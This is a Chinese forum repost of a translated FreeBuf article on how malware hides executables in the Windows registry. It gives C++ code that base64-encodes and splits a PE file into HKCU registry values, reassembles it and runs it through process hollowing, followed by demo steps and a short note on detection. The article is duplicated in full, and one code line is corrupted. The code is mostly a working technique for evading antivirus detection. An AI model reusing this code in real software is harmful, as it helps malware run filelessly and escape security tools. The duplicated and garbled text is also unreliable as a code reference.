-
-
病毒是如何将文件藏进注册表的
-
发表于: 2015-8-20 16:31 1106
-
新闻链接:http://www.freebuf.com/articles/system/75471.html
新闻时间:2015-08-20
新闻正文:
本文将介绍一种将可执行文件隐藏在Windows注册表的方法,包括将可执行文件部分或全部藏入注册表,之后再加载执行。攻击者往往未避免在二进制文件中出现恶意代码,把执行恶意功能的代码放在注册表的多个键值中,使得杀毒软件难以检测。这也是常见的恶意软件所采用的方法。
把文件放进注册表
第一节是关于将文件放入注册表中的。我们会介绍如何将一整个文件分割,然后分别写入多个键。之后会介绍怎样获取、拼接、执行这个文件。关于如何将文件存入注册表的方法有很多。注册表有不同的键值类型,能够存储各种类型的数据,包括原始二进制数据,32/64位值,还有字符串。在本例中,文件会经过Base64转码,然后以string (REG_SZ)类型写入。
把数据写入注册表的过程很简单。过程包括使用RegCreateKeyEx函数打开一个已存在的键的句柄,或者新建一个键,之后在调用RegGetValue和RegSetValueEx执行读写操作。以下的示例代码展示的就是这三个步骤:
const HKEY OpenRegistryKey(const char * const strKeyName, const bool bCreate = true)
{
HKEY hKey = nullptr;
DWORD dwResult = 0;
LONG lRet = RegCreateKeyExA(HKEY_CURRENT_USER, strKeyName, 0,
nullptr, 0, KEY_READ | KEY_WRITE | KEY_CREATE_SUB_KEY,
nullptr, &hKey, &dwResult);
if (lRet != ERROR_SUCCESS)
{
fprintf(stderr, "Could not create/open registry key. Error = %X\n",
lRet);
exit(-1);
}
if (bCreate && dwResult == REG_CREATED_NEW_KEY)
{
fprintf(stdout, "Created new registry key.\n");
}
else
{
fprintf(stdout, "Opened existing registry key.\n");
}
return hKey;
}
void WriteRegistryKeyString(const HKEY hKey, const char * const strValueName,
const BYTE *pBytes, const DWORD dwSize)
{
std::string strEncodedData = base64_encode(pBytes, dwSize);
LONG lRet = RegSetValueExA(hKey, strValueName, 0, REG_SZ, (const BYTE *)strEncodedData.c_str(), strEncodedData.length());
if (lRet != ERROR_SUCCESS)
{
fprintf(stderr, "Could not write registry value. Error = %X\n",
lRet);
exit(-1);
}
}
const std::array<BYTE, READ_WRITE_SIZE> ReadRegistryKeyString(const char * const strKeyName,
const char * const strValueName, bool &bErrorOccured)
{
DWORD dwType = 0;
const DWORD dwMaxReadSize = READ_WRITE_SIZE * 2;
DWORD dwReadSize = dwMaxReadSize;
char strBytesEncoded[READ_WRITE_SIZE * 2] = { 0 };
LONG lRet = RegGetValueA(HKEY_CURRENT_USER, strKeyName, strValueName,
RRF_RT_REG_SZ, &dwType, strBytesEncoded, &dwReadSize);
std::array<BYTE, READ_WRITE_SIZE> pBytes = { 0 };
std::string strDecoded = base64_decode(std::string(strBytesEncoded));
(void)memcpy(pBytes.data(), strDecoded.c_str(), strDecoded.size());
if (lRet != ERROR_SUCCESS)
{
fprintf(stderr, "Could not read registry value. Error = %X\n",
lRet);
bErrorOccured = true;
}
if (dwType != REG_SZ || (dwReadSize == 0 || dwReadSize > dwMaxReadSize))
{
fprintf(stderr, "Did not correctly read back a string from the registry.\n");
bErrorOccured = true;
}
return pBytes;
}
接下来主要就是将文件写入注册表了。还有一些细节问题,比如我们要将文件分割成及部分写入几个键中,这一部分由于篇幅有限就不再详细说明了,以下代码的功能就是把文件分成几部分写入注册表:
void WriteFileToRegistry(const char * const pFilePath)
{
HKEY hKey = OpenRegistryKey("RegistryTest");
std::string strSubName = "Part";
std::string strSizeName = "Size";
size_t ulIndex = 1;
auto splitFile = SplitFile(pFilePath);
for (size_t i = 0; i < splitFile.size(); ++i)
{
std::string strFullName(strSubName + std::to_string(ulIndex));
WriteRegistryKeyString(hKey, strFullName.c_str(), splitFile[i].data(), READ_WRITE_SIZE);
++ulIndex;
}
CloseHandle(hKey);
}
示例代码中的键是在HKCU\\RegistryTest下。可执行文件会被以2048字节分割,然后经过base64编码,写入名为“Part1″, “Part2″, … “PartN”的值中。一个8KB的文件写入注册表后就会变成这样:
scr1.png
用Base64解码器就可以快速验证键的内容是否正确,把“Part1”键的内容放到解码器中就可以得到以下结果,里面包含了PE头的内容:
MZ[144][0][3][0][0][0][4][0][0][0][255][255][0][0][184][0][0][0][0][0][0][0]@[0][0][0][0][0][0][0]
[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][240][0][0][0]
[14][31][186][14][0][180][9][205]![184][1]L[205]!This program cannot be run in DOS mode.[13][13]
[10]$[0][0][0][0][0][0][0][181]!:
现在这个文件已经到注册表里了,文件可以从硬盘上删除。
从注册表获取文件
现在文件已经被分割,存入注册表了。要从注册表获取文件无非就是把第一节的操作反一下——从注册表读取文件片段,用Base64解密,再将这些片段结合起来,代码如下:
NewProcessInfo JoinRegistryToFile(const char * const strKeyName, const char * const strValueName)
{
NewProcessInfo newProcessInfo = { 0 };
std::vector<std::array<BYTE, READ_WRITE_SIZE>> splitFile;
size_t ulKeyIndex = 1;
std::string strFullName(strValueName + std::to_string(ulKeyIndex));
bool bErrorOccured = false;
auto partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);
while (!bErrorOccured)
{
splitFile.push_back(partFile);
++ulKeyIndex;
strFullName = strValueName + std::to_string(ulKeyIndex);
partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);
}
。 = std::unique_ptr<BYTE[]>(new BYTE[splitFile.size() * READ_WRITE_SIZE]);
memset(newProcessInfo.pFileData.get(), 0, splitFile.size() * READ_WRITE_SIZE);
size_t ulWriteIndex = 0;
for (auto &split : splitFile)
{
(void)memcpy(&newProcessInfo.pFileData.get()[ulWriteIndex * READ_WRITE_SIZE], splitFile[ulWriteIndex].data(),
READ_WRITE_SIZE);
++ulWriteIndex;
}
newProcessInfo.pDosHeader = (IMAGE_DOS_HEADER *)&(newProcessInfo.pFileData.get()[0]);
newProcessInfo.pNtHeaders = (IMAGE_NT_HEADERS *)&(newProcessInfo.pFileData.get()[newProcessInfo.pDosHeader->e_lfanew]);
return newProcessInfo;
}
这里的ReadRegistryKeyString函数,在之前的部分中介绍过,我们调用它来获取注册表中的文件片段。这些文件片段之后就被结合起来,储存在newProcessInfo.pFileData中。有些其他的地方也要初始化,比如PE文件的DOS头和NT头,这在下一节中很重要。
加载获取的文件
现在我们已从注册表中获取了文件,并将它储存在内存的缓冲区。如果直接把获取到的文件内容再写到硬盘上前面的操作就白做了。所以我们要用到的是进程挖空(process hollowing)的方法,以挂起状态启动一个假的进程,然后将其内存unmap。然后,我们把我们从注册表中获取的内容映射到这个进程中,这样就可以执行程序了。示例代码如下:
void ExecuteFileFromRegistry(const char * const pValueName)
{
HKEY hKey = OpenRegistryKey("RegistryTest");
auto newProcessInfo = JoinRegistryToFile("RegistryTest", pValueName);
auto processInfo = MapTargetProcess(newProcessInfo, "DummyProcess.exe");
RunTargetProcess(newProcessInfo, processInfo);
CloseHandle(hKey);
}
MapTargetProcess 和RunTargetProcess就不在此说明了,我在2011年的一篇博文里提到过,代码很相近。
我想说明的是,只有在“假进程”和替代进程都是x86,并且关闭了DEP/ASLR的情况下,本文所提及的方法才奏效,关于如何让程序支持x64、如何支持开启DEP/ASLR的情况,我会在之后的博文里面教授。
这里的DummyProcess.exe(在文末的zip文件中有)就是被“挖空”,然后替换成另一个进程的程序,也就是ReplacementProcess.exe(也附在了文末的zip中)。Zip文件中的Sample文件夹提供了交互的示例,如果想要演示效果,你可以:
运行DummyProcess.exe,你就会观察到那是一个Win32 UI程序
运行write.bat,它会调用FilelessLauncher.exe将ReplacementProcess.exe程序写入HKCU\\RegistryTest
删除ReplacementProcess.exe
运行execute.bat,它会调用FilelessLauncher.exe读取HKCU\\RegistryTest,然后获取ReplacementProcess.exe,然后它会unmap DummyProcess.exe,然后将ReplacementProcess.exe写入进程。此时ReplacementProcess.exe就会重新运行,你就可以看到一个弹窗。
记得运行结束后清理一下注册表
应对方法
本文介绍的技巧就是如何把可执行文件隐藏在Windows注册表里。应对的方法有很多,比如我们可以监控注册表,或者检查NtUnmapViewOfSection是否被调用。
代码
VS2015 密码:53kj
GitHub
代码在Windows 7, 8.1和10测试通过。
*参考来源:RCE Endeavors,译/Sphinx,文章有修改,转载请注明来自Freebuf黑客与极客(FreeBuf.COM)
新闻时间:2015-08-20
新闻正文:
本文将介绍一种将可执行文件隐藏在Windows注册表的方法,包括将可执行文件部分或全部藏入注册表,之后再加载执行。攻击者往往未避免在二进制文件中出现恶意代码,把执行恶意功能的代码放在注册表的多个键值中,使得杀毒软件难以检测。这也是常见的恶意软件所采用的方法。
把文件放进注册表
第一节是关于将文件放入注册表中的。我们会介绍如何将一整个文件分割,然后分别写入多个键。之后会介绍怎样获取、拼接、执行这个文件。关于如何将文件存入注册表的方法有很多。注册表有不同的键值类型,能够存储各种类型的数据,包括原始二进制数据,32/64位值,还有字符串。在本例中,文件会经过Base64转码,然后以string (REG_SZ)类型写入。
把数据写入注册表的过程很简单。过程包括使用RegCreateKeyEx函数打开一个已存在的键的句柄,或者新建一个键,之后在调用RegGetValue和RegSetValueEx执行读写操作。以下的示例代码展示的就是这三个步骤:
const HKEY OpenRegistryKey(const char * const strKeyName, const bool bCreate = true)
{
HKEY hKey = nullptr;
DWORD dwResult = 0;
LONG lRet = RegCreateKeyExA(HKEY_CURRENT_USER, strKeyName, 0,
nullptr, 0, KEY_READ | KEY_WRITE | KEY_CREATE_SUB_KEY,
nullptr, &hKey, &dwResult);
if (lRet != ERROR_SUCCESS)
{
fprintf(stderr, "Could not create/open registry key. Error = %X\n",
lRet);
exit(-1);
}
if (bCreate && dwResult == REG_CREATED_NEW_KEY)
{
fprintf(stdout, "Created new registry key.\n");
}
else
{
fprintf(stdout, "Opened existing registry key.\n");
}
return hKey;
}
void WriteRegistryKeyString(const HKEY hKey, const char * const strValueName,
const BYTE *pBytes, const DWORD dwSize)
{
std::string strEncodedData = base64_encode(pBytes, dwSize);
LONG lRet = RegSetValueExA(hKey, strValueName, 0, REG_SZ, (const BYTE *)strEncodedData.c_str(), strEncodedData.length());
if (lRet != ERROR_SUCCESS)
{
fprintf(stderr, "Could not write registry value. Error = %X\n",
lRet);
exit(-1);
}
}
const std::array<BYTE, READ_WRITE_SIZE> ReadRegistryKeyString(const char * const strKeyName,
const char * const strValueName, bool &bErrorOccured)
{
DWORD dwType = 0;
const DWORD dwMaxReadSize = READ_WRITE_SIZE * 2;
DWORD dwReadSize = dwMaxReadSize;
char strBytesEncoded[READ_WRITE_SIZE * 2] = { 0 };
LONG lRet = RegGetValueA(HKEY_CURRENT_USER, strKeyName, strValueName,
RRF_RT_REG_SZ, &dwType, strBytesEncoded, &dwReadSize);
std::array<BYTE, READ_WRITE_SIZE> pBytes = { 0 };
std::string strDecoded = base64_decode(std::string(strBytesEncoded));
(void)memcpy(pBytes.data(), strDecoded.c_str(), strDecoded.size());
if (lRet != ERROR_SUCCESS)
{
fprintf(stderr, "Could not read registry value. Error = %X\n",
lRet);
bErrorOccured = true;
}
if (dwType != REG_SZ || (dwReadSize == 0 || dwReadSize > dwMaxReadSize))
{
fprintf(stderr, "Did not correctly read back a string from the registry.\n");
bErrorOccured = true;
}
return pBytes;
}
接下来主要就是将文件写入注册表了。还有一些细节问题,比如我们要将文件分割成及部分写入几个键中,这一部分由于篇幅有限就不再详细说明了,以下代码的功能就是把文件分成几部分写入注册表:
void WriteFileToRegistry(const char * const pFilePath)
{
HKEY hKey = OpenRegistryKey("RegistryTest");
std::string strSubName = "Part";
std::string strSizeName = "Size";
size_t ulIndex = 1;
auto splitFile = SplitFile(pFilePath);
for (size_t i = 0; i < splitFile.size(); ++i)
{
std::string strFullName(strSubName + std::to_string(ulIndex));
WriteRegistryKeyString(hKey, strFullName.c_str(), splitFile[i].data(), READ_WRITE_SIZE);
++ulIndex;
}
CloseHandle(hKey);
}
示例代码中的键是在HKCU\\RegistryTest下。可执行文件会被以2048字节分割,然后经过base64编码,写入名为“Part1″, “Part2″, … “PartN”的值中。一个8KB的文件写入注册表后就会变成这样:
scr1.png
用Base64解码器就可以快速验证键的内容是否正确,把“Part1”键的内容放到解码器中就可以得到以下结果,里面包含了PE头的内容:
MZ[144][0][3][0][0][0][4][0][0][0][255][255][0][0][184][0][0][0][0][0][0][0]@[0][0][0][0][0][0][0]
[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][240][0][0][0]
[14][31][186][14][0][180][9][205]![184][1]L[205]!This program cannot be run in DOS mode.[13][13]
[10]$[0][0][0][0][0][0][0][181]!:
现在这个文件已经到注册表里了,文件可以从硬盘上删除。
从注册表获取文件
现在文件已经被分割,存入注册表了。要从注册表获取文件无非就是把第一节的操作反一下——从注册表读取文件片段,用Base64解密,再将这些片段结合起来,代码如下:
NewProcessInfo JoinRegistryToFile(const char * const strKeyName, const char * const strValueName)
{
NewProcessInfo newProcessInfo = { 0 };
std::vector<std::array<BYTE, READ_WRITE_SIZE>> splitFile;
size_t ulKeyIndex = 1;
std::string strFullName(strValueName + std::to_string(ulKeyIndex));
bool bErrorOccured = false;
auto partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);
while (!bErrorOccured)
{
splitFile.push_back(partFile);
++ulKeyIndex;
strFullName = strValueName + std::to_string(ulKeyIndex);
partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);
}
。 = std::unique_ptr<BYTE[]>(new BYTE[splitFile.size() * READ_WRITE_SIZE]);
memset(newProcessInfo.pFileData.get(), 0, splitFile.size() * READ_WRITE_SIZE);
size_t ulWriteIndex = 0;
for (auto &split : splitFile)
{
(void)memcpy(&newProcessInfo.pFileData.get()[ulWriteIndex * READ_WRITE_SIZE], splitFile[ulWriteIndex].data(),
READ_WRITE_SIZE);
++ulWriteIndex;
}
newProcessInfo.pDosHeader = (IMAGE_DOS_HEADER *)&(newProcessInfo.pFileData.get()[0]);
newProcessInfo.pNtHeaders = (IMAGE_NT_HEADERS *)&(newProcessInfo.pFileData.get()[newProcessInfo.pDosHeader->e_lfanew]);
return newProcessInfo;
}
这里的ReadRegistryKeyString函数,在之前的部分中介绍过,我们调用它来获取注册表中的文件片段。这些文件片段之后就被结合起来,储存在newProcessInfo.pFileData中。有些其他的地方也要初始化,比如PE文件的DOS头和NT头,这在下一节中很重要。
加载获取的文件
现在我们已从注册表中获取了文件,并将它储存在内存的缓冲区。如果直接把获取到的文件内容再写到硬盘上前面的操作就白做了。所以我们要用到的是进程挖空(process hollowing)的方法,以挂起状态启动一个假的进程,然后将其内存unmap。然后,我们把我们从注册表中获取的内容映射到这个进程中,这样就可以执行程序了。示例代码如下:
void ExecuteFileFromRegistry(const char * const pValueName)
{
HKEY hKey = OpenRegistryKey("RegistryTest");
auto newProcessInfo = JoinRegistryToFile("RegistryTest", pValueName);
auto processInfo = MapTargetProcess(newProcessInfo, "DummyProcess.exe");
RunTargetProcess(newProcessInfo, processInfo);
CloseHandle(hKey);
}
MapTargetProcess 和RunTargetProcess就不在此说明了,我在2011年的一篇博文里提到过,代码很相近。
我想说明的是,只有在“假进程”和替代进程都是x86,并且关闭了DEP/ASLR的情况下,本文所提及的方法才奏效,关于如何让程序支持x64、如何支持开启DEP/ASLR的情况,我会在之后的博文里面教授。
这里的DummyProcess.exe(在文末的zip文件中有)就是被“挖空”,然后替换成另一个进程的程序,也就是ReplacementProcess.exe(也附在了文末的zip中)。Zip文件中的Sample文件夹提供了交互的示例,如果想要演示效果,你可以:
运行DummyProcess.exe,你就会观察到那是一个Win32 UI程序
运行write.bat,它会调用FilelessLauncher.exe将ReplacementProcess.exe程序写入HKCU\\RegistryTest
删除ReplacementProcess.exe
运行execute.bat,它会调用FilelessLauncher.exe读取HKCU\\RegistryTest,然后获取ReplacementProcess.exe,然后它会unmap DummyProcess.exe,然后将ReplacementProcess.exe写入进程。此时ReplacementProcess.exe就会重新运行,你就可以看到一个弹窗。
记得运行结束后清理一下注册表
应对方法
本文介绍的技巧就是如何把可执行文件隐藏在Windows注册表里。应对的方法有很多,比如我们可以监控注册表,或者检查NtUnmapViewOfSection是否被调用。
代码
VS2015 密码:53kj
GitHub
代码在Windows 7, 8.1和10测试通过。
*参考来源:RCE Endeavors,译/Sphinx,文章有修改,转载请注明来自Freebuf黑客与极客(FreeBuf.COM)
赞赏
看原图
赞赏
雪币:
留言: